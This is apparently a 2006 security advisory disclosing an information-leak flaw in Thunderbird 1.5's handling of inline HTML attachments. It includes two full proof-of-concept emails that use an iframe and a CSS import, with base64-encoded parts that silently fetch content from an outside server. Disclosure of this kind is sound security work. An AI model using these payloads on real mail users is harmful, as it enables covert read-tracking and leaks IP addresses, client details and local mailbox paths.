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moz-15.txt
`Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities
//----- Advisory
Program : Mozilla Thunderbird
Homepage : http://www.mozilla.com/thunderbird/
Tested version : 1.5
Found by : crashfr at sysdream dot com
This advisory : crashfr at sysdream dot com
Discovery date : 2006/02/18
//----- Application description
Full-Featured Email
Simple to use, powerful, and customizable, Thunderbird is a full-featured
email application. Thunderbird supports IMAP and POP mail protocols, as well
as HTML mail formatting. Easily import your existing email accounts and
messages. Built-in RSS capabilities, powerful quick search, spell check
as you
type, global inbox, deleting attachments and advanced message filtering
round
out Thunderbird's modern feature set.
//----- Description of vulnerability
Thunderbird's HTML rendering engine insufficiently filters the loading
of external resources from inline HTML attachments. External files are
downloaded even if the "Block loading of remote images in mail messages"
option is enabled.
//----- Proof Of Concept
* Iframe Exploit :
Subject: Thunploit by CrashFr !
From: CrashFr<[email protected]>
To: CrashFr<[email protected]>
Content-Type: multipart/related; type="multipart/alternative";
boundary="----=_NextPart_000_0000_DE61E470.78F38016"
This is a multi-part message in MIME format.
------=_NextPart_000_0000_DE61E470.78F38016
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0001_06199DF9.5C825A99"
------=_NextPart_001_0001_06199DF9.5C825A99
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Test by CrashFr
------=_NextPart_001_0001_06199DF9.5C825A99
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
<html><head>
</head><body style="margin: 0px; padding: 0px; border: 0px;">
<iframe src="cid:[email protected]" width="100%"
height="100%" frameborder="0" marginheight="0" marginwidth="0"></iframe>
</body></html>
------=_NextPart_001_0001_06199DF9.5C825A99--
------=_NextPart_000_0000_DE61E470.78F38016
Content-Type: text/html; name="basic.html"
Content-Transfer-Encoding: base64
Content-ID: <[email protected]>
PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5IHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4
OyBib3JkZXI6IDBweDsiPjxpZnJhbWUgc3JjPSJodHRwOi8vd3d3LnN5c2RyZWFtLmNvbSIgd2lk
dGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgZnJhbWVib3JkZXI9IjAiIG1hcmdpbmhlaWdodD0iMCIg
bWFyZ2lud2lkdGg9IjAiPjwvaWZyYW1lPg==
------=_NextPart_000_0000_DE61E470.78F38016--
* CSS Exploit :
Subject: Thunploit by CrashFr !
From: CrashFr<[email protected]>
To: CrashFr<[email protected]>
Content-Type: multipart/related; type="multipart/alternative";
boundary="----=_NextPart_000_0000_DE61E470.78F38016"
This is a multi-part message in MIME format.
------=_NextPart_000_0000_DE61E470.78F38016
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0001_06199DF9.5C825A99"
------=_NextPart_001_0001_06199DF9.5C825A99
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Test by CrashFr
------=_NextPart_001_0001_06199DF9.5C825A99
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
<html><head>
<link rel="stylesheet" type="text/css"
href="cid:[email protected]" /></head><body>
</body></html>
------=_NextPart_001_0001_06199DF9.5C825A99--
------=_NextPart_000_0000_DE61E470.78F38016
Content-Type: text/css; name="basic.css"
Content-Transfer-Encoding: base64
Content-ID: <[email protected]>
QGltcG9ydCB1cmwoaHR0cDovL3d3dy5zeXNkcmVhbS5jb20vdGVzdC5jc3MpOwpib2R5IHsgYmFj
a2dyb3VuZC1jb2xvcjogI0NDQ0NDQzsgfQ==
------=_NextPart_000_0000_DE61E470.78F38016--
//----- Impact
Successful exploitation may lead to information disclosure (user agent:
application version & platform, IP address...). A spammer can easily
check if an email is read. Moreover, an HTML reply to those types of
emails will contain the complete url path to the mailbox
(ie: mailbox:///C%7C/Documents%20and%20Settings/CrashFr/
Application%20Data/Thunderbird/Profiles/7jko3in9.default/
Mail/Local%20Folders/Inbox?number=2194930&header=quotebody&part=1.2&filename=basic.css").
//----- Solution
No known solution. You have to wait for a vendor upgrade.
//----- Credits
http://www.sysdream.com
crashfr at sysdream dot com
//----- Greetings
nono2357 & the hackademy ...
`
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02 Mar 2006 00:00Current
7.4High risk
Vulners AI Score7.4